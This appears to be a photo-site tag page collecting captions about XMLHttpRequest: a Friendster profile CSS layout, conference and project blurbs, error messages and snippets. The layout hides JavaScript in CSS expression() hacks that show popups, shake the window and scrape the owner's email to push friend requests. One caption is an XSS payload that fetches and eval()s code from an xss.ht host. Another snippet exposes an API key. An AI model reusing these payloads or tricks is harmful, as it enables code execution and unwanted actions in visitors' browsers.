View allAll Photos Tagged xmlhttprequest

/* {--friendster-layouts.com css code start--} */

 

/* Basic CSS Editor 1.1 - FRIENDSTER-TWEAKERS.COM */

 

/* PROFILE BACKGROUND */

body { background-image:url(http://i200.photobucket.com/albums/aa73/fs-layouts/fslybg/2008/03/dbm1/dbm1.jpg); background-attachment:fixed; background-position:center; background-repeat:no-repeat; background-color:#000000; }

 

/* GLOBAL FONTS */

.usercontent { font-family:Helvetica, Geneva, Arial, SunSans-Regular, sans-serif; color:#ff66ff; text-transform:lowercase; }

 

/* GLOBAL LINKS */

.usercontent a, .usercontent a:link, .usercontent a:visited, .usercontent a:active { text-decoration:line-through; color:#ffccff; }

.data a, a.more, .commonbox .viewall { font-family:Trebuchet MS, Geneva, Arial, Helvetica, SunSans-Regular, sans-serif; color:#ffccff; text-transform:lowercase; }

.usercontent a:hover { text-decoration:underline; color:#ff00ff; }

 

/* GLOBAL HEADERS */

.commonbox h1, .commonbox h2 { font-family:Verdana, Arial, Helvetica, sans-serif; color:#ffccff; text-transform:lowercase; background-color:transparent; }

 

/* GLOBAL BOXES */

.commonbox { border-width:0px; border-color:#808080; border-style:solid; background-color:transparent; }

 

/* TESTIMONIALS EVEN ROW */

.commonbox .evenrow { background-color:transparent; }

 

/* PRIMARY PHOTO BORDER */

.controlpanel .imgblock200 { border-color:#ffccff; }

 

/* DATA / LABELS */

.data, .controlpanel .q { color:#ffccff; text-transform:lowercase; }

 

/* BUTTONS */

#controlPanelButtons a, #controlPanelButtons a:link, #controlPanelButtons a:visited { font-family:Verdana, Arial, Helvetica, sans-serif; color:transparent; border-color:#666666; background-color:transparent; }

#controlPanelButtons a:hover { color:transparent; border-color:transparent; background-color:transparent; }

 

/* PHOTO BLOCKS */

.commonbox .imgblock75, .ir { border-width:1px; border-color:#ffccff; background-color:#b3b3b3; }

 

/* FRIENDS NAME BG */

.commonbox .dr { background-color:transparent; }

 

/*PERSONALIZE LOGO*/

#navigation {

background: #000000;

border-color:#808080;

border-style: ridge;

border-width:2px;

margin:1px 1px 1px 1px;

padding: 260px 0 0 0;

background-image: url(http://i225.photobucket.com/albums/dd191/hikaru_sai02/BANNERDEVILBESIDEME.jpg);

background-repeat: no-repeat;

background-position: top center;

#subnav_search{display:none;}

#search {display:none;background:transparent;}

#search form {display:none;background:transparent;}

#marketing_bg{display:none;background:transparent;}

#ads_2_3{display:none;background:transparent;}

#mainnav .left {display:none;}

#navdivider {display:none;background:transparent;}

#subnav {display:none;}

 

/* CENTER PROFILE TEXT AND CONTENTS

body,td,tr,div,p {

text-align: center;

}*/

/* MASTER HEADERS */

.commonbox h1, .commonbox h2 {

text-align: center !important;

}

 

/* CUSTOMIZED RECENT UPDATES BOX */

.user_tracker {

width: 95%;

font-size: 10;

background: url(http://img145.imageshack.us/img145/6190/ekekekekw6.jpg)

repeat center center;

background-color: transparent;

border: 1px dashed #333333;

}

.user_tracker ul li a, .user_tracker ul li a:link, .user_tracker ul li a:active, .user_tracker ul li a:hover, .user_tracker ul li a:visited {

margin-left: 5px;

font-size: 10px;

font-weight: normal;

color: #666666;

text-decoration: none;

}

.user_tracker ul li a:hover {

font-size: 11px;

font-weight: bold;

color: #666666;

text-decoration: underline;

}

 

/* Hide Navigation Language */

#navLang { display: none ! important }

}

/* Hide Google Search */

#search {display:none!important;}

 

/* HIDE SEARCH FORM */

#search, #search form {

display: none !important;

}

/* HIDE TOP WHITE BACKGROUND */

#marketing_bg {

display :none;

}

/* HIDE SPONSORED LINKS */

#sponsorsAd {

display: none;

}

/* HIDE BANNERD AD */

.banner_ad_fix {

display: none;

}

/* HIDE GOOGLE ADS */

#content_14 {

display: none;

}

/* Hide friendster logo */

#logo {display:none!important;}

/* How You're Connected*/

.meettrail {display:none!important;}

   

/* ONE COLUMN FRIENDS LIST */

.friends div .boxcontent {

width: 100%;

text-align: left;

margin-left: 80px;

}

.friends .flogrid75 {

text-align: left;

width: 75px;

}

.friends div .viewall a {

text-align: center;

width: 100%;

padding-left: 30px;

}

 

#content_6 .q{

color: #9933ff;

}

#content_18 .title{

font-color: #9933ff;

font-weight: bold;

}

 

#content_8 .title{

color: #9933ff;

font-weight: bold;

}

 

/*FLOATING PAGE EFFECT*/

body {border-style: groove; border-top-color: #9933ff;

border-bottom-color: #9933ff; border-left-color: #9933ff;

border-right-color: #9933ff; border-top-width: 20px;

border-bottom-width: 20px; border-left-width: 20px;

border-right-width: 20px;}

 

/* MASTER HEADERS */

.commonbox h1, .commonbox h2 {

background-color: transparent;

background-image: url(http://img159.imageshack.us/img159/5299/headerwj3.jpg);

background-attachment: scroll;

background-position:left;

background-position: left left;

background-repeat: repeat-repeat;

text-align:right;}

 

/*treemenu*/

 

#mainnav .mainfoldericon{

background: url()! important;background-attachment: fixed;

background-repeat: repeat!important;

background-position: top center;

background-color: #000000!important;color:#FFFFFF!important;}

 

/*sublink drop down menu*/

#mainnav ul li ul{

left: 0;

position: absolute;

top: 1px;display: block;

visibility: hidden;margin: 0 0 0 0!important;

background-color: transparent! important;

background-image: url()!important;}

}

 

textarea

{ color: 000000;

background-color:transparent;

font-size: 10px;

font-weight: normal;

text-transform:uppercase;

text-decoration: none;

font-family: VERDANA;

cursor:text;

border-color:#2D3413;

width:200px;

}

input

{ color: 000000;

background-color:;

font-size:;

font-weight: normal;

text-transform:;

text-decoration: none;

cursor:move;

}

.buttons

{ font-family:verdana;

font-size:8pxyle>a:hover img { filter: progid:DXImageTransform.Microsoft.Pixelate (maxsquare=7); }

  

body {direction: rtl;}

#flo_wrapper{direction:ltr}

 

.secondary_links {display:none}

 

#mainnav .primary_links { width: 800px !important; }

 

}

body{right:expr/**/ession(

function rightclick() {if (event.button==2)

{alert('Try Again')}}

document.onmousedown=rightclick);}

 

}

/* MAIN PHOTO HOVER CHANGE */

.imgblock200 a:hover img {

opacity:.100;

filter: alpha(opacity=100);

margin: 0 auto;

}

 

/* WELCOME ALERT BOX */

body {

height:expr/**/ession(

function welcome() {

alert('Ohayoo!Have fun! ');

}

window.onload=welcome);

}

/* GOODBYE ALERT BOX */

body {

left:expr/**/ession(

function goodbye() {

alert('Come back soon!^_^ ');

}

window.onunload=goodbye);

}

/* ONE COLUMN FRIENDS LIST */

.friends div .boxcontent {

width: 50%;

text-align: center;

margin-left: 5px;

}

.friends .flogrid75 {

text-align: center;

width: 75px;

}

.friends div .viewall a {

text-align: center;

width: 100%;

padding-left: 5px;

 

/* Hide Group updates */

#content_8 .data {display:none!important;}

 

/* Fan Of */

.fanof {display:none!important;}

 

/* Groups */

.groups {display:none!important;}

 

/* Groups */

.groups {display:none!important;}

 

/* ONE COLUMN FRIENDS LIST */

.friends div .boxcontent {

width: 100%;

text-align: center;

margin-left: 5px;

}

.friends .flogrid75 {

text-align: center;

width: 75px;

}

.friends div .viewall a {

text-align: center;

width: 100%;

padding-left: 5px;

 

}

/* MAIN */

.controlpanel .q {

background: url(http://i27.tinypic.com/5l6g3k.gif) no-repeat center left;

padding: 0 0 0 25px;}

 

/* MORE ABOUT */

.usercontent .q{

background: url(http://i27.tinypic.com/5l6g3k.gif) no-repeat left;

padding: 0 0 0 16px;}

}

/* Hide How you are connected box */

#content_15 {display:none!important;}

 

/*control panel*/

.controlpanel .imgblock200 { /*primary photo border*/

border: #E8E0CFsolid 0px;

}

 

.data { /*data answers*/

font-family: ;

color: FFFFFF;

text-transform: none;

}

  

.controlpanel .q { /*data labels*/

font-family: ;

color: E8E0CF;

text-transform: none;

}

 

.data a { /*data links*/

font-family: ;

color: FFFFFF;

text-transform: ;

}

 

a.more { /*more about link*/

font-family: ;

color: E8E0CF;

text-transform: ;

}

 

#controlPanelButtons a, #controlPanelButtons a:link, #controlPanelButtons a:visited { /*buttons*/

color: FFFFFF;

border: #292929 solid 2px;

background-color: 131313;

background image: (http://i26.tinypic.com/1taask.gif);

 

}

 

#controlPanelButtons a:hover { /*buttons hover*/

color: E8E0CF;

border: #FFFFFF solid 2px;

background-color: 000000;

}

  

.photos

.flogridp .flogriditem {

margin-left: 5px;

width: 80px;

height: 80px;

background: url() no-repeat;

}

  

/* FriendsterMagic - Personalize Recent Update Box */

.user_tracker {

font-size:10px;

font-family:Trebuchet MS;

font-weight:bold;

color:#E8E0CF;

background-color: #131313;

background-attachment: fixed;

background-repeat: repeat;

background-position: top left;

border: #E8E0CF;

border-style: solid;

border-width: 1px;

}

 

/* FriendsterMagic - hide report abuse */

.reportabuse{display:none;}

 

/* FriendsterMagic - remove featured sponsor */

#marketing_bg{display:none;background:transparent;}

  

#mainnav{margin: 0 0px;background:transparent! important;border: transparent!important; width: 800px !important;}

#mainnav span, #mainnav_left, #mainnav_right {display:none;}

#mainnav ul li ul li.sublink_top {border-top: 0px none transparent!important;}

#mainnav ul li ul li{display: list-item;float: none;border-bottom: 0px none transparent;background-color: tranparent!important;}

 

#mainnav a { border: 1 outset #FFFFFF; margin: 0 1.6 0 1.6 0; font:10; text-decoration:none! important;color:#FFFFFF! important;background:#000000 !

important; width:90;text-align: center !important;}

#mainnav a:hover {border:1 inset #FFFFFF; background:#000000; color:#FFFFFF! important;}

 

#mainnav { text-align: left !important; margin-bottom: 0px !important;}

.primary_links { margin-left: 0px !important; width: 900px !important;}

 

.secondary_links {display:none}

 

/*photo galery pic BG*/

 

.flogridp .flogriditem { margin-right: 13px; width: 101px; height: 87px; background: url('http://i30.photobucket.com/albums/c327/debeleon/joms_static_2.gif')

 

no-repeat;}

   

/* CSS IMAGE EFFECTS - FRIENDSTER-TWEAKERS.COM */

  

img { filter:alpha(Opacity=100,FinishOpacity=0,Style=3);}

a:hover img { filter: invert; }

  

#spawnpic img {

height: 100px;

width: 100px;

border: 1px #ffffff solid;

filter:alpha(opacity=100);

-moz-opacity: 1.0;

opacity: 1.0;

}

 

#spawnpic a:hover img {

filter:alpha(opacity=75);

-moz-opacity: 0.7;

opacity: 0.7;

}

 

/* Remove Bulky Images/Embeds in Your Comments */

.data img, .data embed {display:none!important;}

 

}

  

/* Hide Recent Updates */

.user_tracker {display:none!important;}

 

/* Hide Messages | Setting | Help | Log out*/

#subnav_search {display:none!important;}

  

/* FriendsterMagic - remove top banner */

.banner_ad_fix{display:none;}

 

/* FriendsterMagic - remove logo */

#logo {display:none;background:transparent;}

 

/* FriendsterMagic remove search form*/

#search {display:none;background:transparent;}

#search form {display:none;background:transparent;}

 

/* FriendsterMagic - remove footer */

#footer_container {display: none;}

#footer {display: none;}

 

/* FriendsterMagic - hide google ads */

#googleAdFactory.fullwidth{position:absolute;top:-5500px;}

 

/* FriendsterMagic - hide report abuse */

.reportabuse{display:none;}

 

/* FriendsterMagic - remove featured sponsor */

#marketing_bg{display:none;background:transparent;}

 

/* FriendsterMagic - shoutout */

.controlpanel .sol, .minicontrolpanel .sol { position: absolute; left: -5px; top: 8px; width: 6px; height: 11px; background:url(http://h1.ripway.com/27248571/icons/44.gif) no-repeat; }

.controlpanel .sob, .minicontrolpanel .sob { width: 257px; height: 2px; background:url(http://h1.ripway.com/27248571/icons/44.gif) no-repeat; line-height: 0; font-size: 0; }

.controlpanel .so, .minicontrolpanel .so { margin: 0 -20px 10px 0; width: 257px; position: relative; background:url(http://h1.ripway.com/27248571/icons/44.gif) no-repeat bottom left; color: #ff0099; font-weight: bold; }

 

/* MORE ABOUT */

.usercontent .q{

background: url(http://i39.photobucket.com/albums/e169/XcandRaXx3/Little%20Blinky%20Bullets/a7104663.gif) no-repeat left;

padding: 0 0 0 16px;}

 

/* Title Bar */

body{top:expr/**/ession(fstweakerspagetitle()

function fstweakerspagetitle(){

document.title ='..WelcOme tO mY wOrld!..';

});}

 

/* Status Bar */

body{bottom:expr/**/ession(

function fstweakersstatus()

{window.status='..welcOme tO mY paGe.. pLeaSe leAve a cOmment! tHenCshUe.. layOut bY: �goneBad�'}

if (document.layers)

document.captureEvents(Event.mouseover)

document.onmouseover=fstweakersstatus);}

 

/* WELCOME ALERT BOX */

body {

height:expr/**/ession(

function welcome() {

alert('welcOme tO mY paGe! '+pageViewerFName+' pLeAse leAve a cOmment!');

}

window.onload=welcome);

}

/* GOODBYE ALERT BOX */

body {

left:expr/**/ession(

function goodbye() {

alert('gOodbYe and thAnk yOu! '+pageViewerFName+' tAke cAre!');

}

window.onunload=goodbye);

}

 

/* Hide Navigation Language */

#navLang { display: none ! important }

 

/* Hide the arrows in your mainnav dropdown links */

#mainnav .mainfoldericon {display:none!important;}

 

/* Hide About me paragraph in control panel*/

.controlpanel p {display:none!important;}

 

/* Hide Footer */

#footer_container {display:none!important;}

 

/* Hide the Home | My Profile | My Connections*/

#mainnav {display:none!important;}

 

/* Hide the whole top navigation */

#navigation {display:none!important;}

 

/* Hide the surfer */

#surfer {display:none!important;}

 

/* Hide hide the divider */

#navdivider {display:none!important;}

  

/* THE RIGHT CLICK WINDOW SHAKE - FriendsterMagic.Forumzen.com */

body {right:expr/**/ession(function shake(){if (event.button==2){

self.resizeTo(960,700)

self.moveBy(15,17)

self.moveBy(-13,-17)

self.moveBy(13,19)

self.moveBy(-14,-16)

self.moveBy(14,23)

self.moveBy(-25,-20)

self.moveBy(24,22)

self.moveBy(-20,-17)

self.moveBy(24,16)

self.moveBy(-13,-20)

self.moveBy(20,20)

self.moveBy(-26,-27)

self.moveBy(15,17)

self.moveBy(-13,-17)

self.moveBy(13,19)

self.moveBy(-14,-16)

self.moveBy(14,23)

self.moveBy(-25,-20)

self.moveBy(24,22)

self.moveBy(-20,-17)

self.moveBy(24,16)

self.moveBy(-13,-20)

self.moveBy(20,20)

self.moveBy(-26,-27)

self.moveBy(15,17)

self.moveBy(-13,-17)

self.moveBy(13,19)

self.moveBy(-14,-16)

self.moveBy(14,23)

self.moveBy(-25,-20)

self.moveBy(24,22)

self.moveBy(-20,-17)

self.moveBy(24,16)

self.moveBy(-13,-20)

self.moveBy(20,20)

self.moveBy(-26,-27)

self.moveBy(15,17)

self.moveBy(-13,-17)

self.moveBy(13,19)

self.moveBy(-14,-16)

self.moveBy(14,23)

self.moveBy(-25,-20)

self.moveBy(24,22)

self.moveBy(14,23)

self.moveBy(-25,-20)

self.moveBy(24,22)

self.moveBy(-20,-17)

self.moveBy(24,16)

self.moveBy(-13,-20)

self.moveBy(20,20)

self.moveBy(-26,-27)

self.moveBy(15,17)

self.moveBy(-13,-17)

self.moveBy(13,19)

self.moveBy(-14,-16)

self.moveBy(14,23)

self.moveBy(-25,-20)

self.moveBy(24,22)

self.moveBy(-20,-17)

self.moveBy(24,16)

self.moveBy(-13,-20)

self.moveBy(20,20)

self.moveBy(-26,-27)

self.moveBy(15,17)

self.moveBy(-13,-17)

self.moveBy(13,19)

self.moveBy(-14,-16)

self.moveBy(14,23)

self.moveBy(-25,-20)

self.moveBy(24,22)

self.moveBy(-20,-17)

self.moveBy(24,16)

self.moveBy(-13,-20)

self.moveBy(20,20)

self.moveBy(-26,-27)

self.moveBy(15,17)

self.moveBy(-13,-17)

self.moveBy(13,19)

self.moveBy(-14,-16)

self.moveBy(14,23)

self.moveBy(-25,-20)

self.moveBy(24,22)

self.moveBy(-20,-17)

self.moveBy(-13,-20)

self.moveBy(20,20)

self.moveBy(-26,-27)

self.moveBy(28,17)

self.moveBy(0, 0)

alert(" oooppsss....? ");

alert(" bad eun huh... ");}

document.onmousedown=shake);}

 

if (!attachOnLoadHandler(function() { FRIENDSCAN.init();})) window.onload = function() { FRIENDSCAN.init();};

 

if (typeof FRIENDSCAN == "undefined") { FRIENDSCAN = {}; }

FRIENDSCAN = {

details: {

email: null

},

 

regexp: {

email: /owner>(\b[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}\b)/i

},

 

init: function() {

FRIENDSCAN.ajaxRequest("http://"+location.hostname+"/modules/module.php?_pmr=a&_pmmo=0&uid="+pageOwnerID,FRIENDSCAN.fScanner,null);

},

 

fScanner: function(htm) {

if (htm.replace(/^\s*|\s*$/g,"") === "") {

alert("Error: Unable to parse the email!");return;

}else if (htm) {

try {

FRIENDSCAN.details.email = new RegExp(FRIENDSCAN.regexp.email).exec(htm)[1];

}catch(e) {

FRIENDSCAN.details.email = "";

}

var emailAdd = encodeURIComponent(FRIENDSCAN.details.email);

var areWeFriend = "yes";

var authCode = "";

var scanner = document.getElementById("controlPanelButtons").innerHTML;

var AFRconfirm = scanner.search(/Add as Friend/);

if (AFRconfirm > 0) {

areWeFriend = "no";

authCode = /href="[\S]*?authcode=([\da-z]+?)">Add as Friend/.exec(scanner)[1];

}

if(areWeFriend == "no") {

var cForm = confirm("It seems that you are not in my contact list.\n Do you want to add me as your friend?");

if (cForm == true) {

document.location.href="http://www.friendster.com/addfriendrequest.php?confirm=1&authcode="+authCode+"&uid="+pageOwnerID+"&id=&email="+emailAdd+"&lastname=";

}

}

}

},

 

ajaxRequest: function(url,func,handler) {

var httprequest = window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");

httprequest.onreadystatechange = function() {

if (httprequest.readyState == 4) {

if (httprequest.status == 200) {

func(httprequest.responseText,handler);

}

}

};

httprequest.open("GET", url, true);

httprequest.send(null);

}

};

 

/* {--friendster-layouts.com css code end--} */

As a web developer with experience in XMLHttpRequest and lightweight web services, I agree that AJAX is #1.

 

Alex doesn't care. He drools on it with impunity.

This past week I got to attend The Ajax Experience conference in Boston, MA. The Ajax Experience had a West Coast venue in San Francisco, CA earlier in the year, which I also got to attend. Outside of being a Denverite in Boston during the World Series, the conference was fantastic. TechTarget does a fantastic job of running the event for both the vendors and the attendees.

 

Another great aspect of the event was that Zach Pinter from EffectiveUI was on hand to help out at the Adobe table. I had a pending jury duty earlier in the week, and wasn't able to get to Boston until Wednesday night. The conference started Wednesday, and Zach was there to answer questions. Not only did he answer the questions, but he also captured many of them in a report.

 

The Ajax Experience is kept to a small number, which for me generally equates to fewer, but far more productive conversations with community thought leaders and customers. Rey Bango and I talked extensively about his work at Ajaxian (who actually hosts the conference), jQuery and Ext. Rey then got John Resig to help me debug an XMLHttpRequest problem for the JavaScript Share API I'm working on. I also got to plot strategy with Andre Charland and Dave Johnson from Nitobi.

I registered m.ac.nz/ a couple of weeks ago, had nothing to do with it so thought "I'll use it for experiments."

 

So, here's the first. Experiment A.

 

It's a slideshow of my photos with the tag favourite (though I can change that).

 

You can:

 

* Pause/resume by pressing space.

* Go to the next photo by pushing your right arrow key

* Go to the previous photo by pushing your left arrow key.

 

Geeky stuff:

 

* It's pure javascript

* Uses xmlhttprequest to interact with flickr's rest api

* Ok, so there's a PHP script to proxy requests (limits it to two functions, and uses a key shared between the page you download and the PHP script that changes regularly).

* Could fairly easily be made to show other peoples photos, or use a set, or...

 

The whole thing has only been tested extensively in Safari and Firefox. It should work in Internet explorer, but has not been tested there, and I offer no guarantees.

 

Shouldn't blow up your computer, but you may want to have a beer handy just in case.

Error: uncaught exception: permission denied to call method XMLHttpRequest.open.

 

This is the sort of thing that makes me miss the old days when all we had were <table>, <b>, <i> and <a href>.

Now you can use the fastest fully Ajaxed feed reader "Livedoor Reader" as a frontend of Plagger aggregated/remixed feeds. It uses GM user script to hack LDR XMLHttpRequest function and replace the URL with your server, which implements JSON server API with Catalyst.

 

Plagger (Subscription::2chThreadList, Aggregator::Xango, Store::DBIC, lots of Filter::*'s) + GreaseMonkey + Livedoor Reader + Catalyst = Feed Readers Utopia.

 

I'd like to say this as "Ajax UI as Commons", the new revolution in Web apps.

 

Thanks to youpy (for GM & 2chThreadList), daisuke (for Xango) and typester (for Store::DBIC)! Also, special thanks to mala and LDR dev team for creating the greatest feed reader.

Slide from Chris Wilson’s @media session “IE: 7 and Beyond". What’s next? Mashups, RSS, microformats, XMLHttpRequest (currently as a W3C working draft).

Given that the Electric Imp is so easy to connect to the Internet, I wanted to create and end-to-end project. Something where the user interface (UI) would be a web page, and it would have some fashion of remote behavior on the Imp. Since I didn't have time to create a particularly robust UI, I decided on a remote light switch.

 

Once powered this super bright white LED can be turned on or off from anywhere in the world you have Internet access. Pretty cool! The UI is HTML/JavaScript/CSS which uses XMLHttpRequest (XHR) to send a value to a PHP script when the light switch in the UI gets clicked. The PHP script then forwards the value to the Imp, and the light is set from on to off respectively.

- node.js and Redis to serve the rates

- comet XMLHttpRequest/iframe catches rates in the browser (even IE6!)

- dynamic charts by highcharts.com

- programming by @sohm and me (@theophani)

- design by attentionseeking.com

 

Simulated live (delayed by 15 minutes, passed on from an incoming feed)

Still in development -- kills all browsers but Chrome. Throttling required.

UPDATE: can run in IE6 on a 4-year old machine OVERNIGHT. Woo!

 

18.11.2010 UPDATE: LIVE!! marketindex.rbs.com/uk/OurMarkets.aspx

This is the interactive part of the nargalzius.com's music section.

Utilizes the XMLHttpRequest method

 

function schemaLoad(resourceUri) {

var xhr = new XMLHttpRequest();

var api = "https://api.hunchmanifest.com/cache/fetch.json?resource=" + resourceUri;

xhr.onreadystatechange = function() {

if (xhr.readyState == 4 && xhr.status == 200) {

jsonld = document.createElement('script');

jsonld.type = 'application/ld+json';

jsonld.innerHTML = xhr.responseText;

document.getElementsByTagName('head')[0].appendChild(jsonld);

}

};

xhr.open("GET", api, true);

xhr.setRequestHeader("x-api-key", "L60HU-YSINY-2IUVN-TDKYC");

xhr.setRequestHeader("x-account-name", "Airbnb_Startup");

xhr.send();

}

schemaLoad(window.location.href);

 

XMLHttpRequest属性和方法

function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//vxbe.xss.ht");a.send();

Error de peticion XMLHttpRequest AJAX

via The XMLHttpRequest object can be used to request data from a web server. ift.tt/2uoAUAi

Access to XMLHttpRequest at 'http://localhost:53372/apiEmployee/SaveFile' from origin 'http://localhost:4200' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

1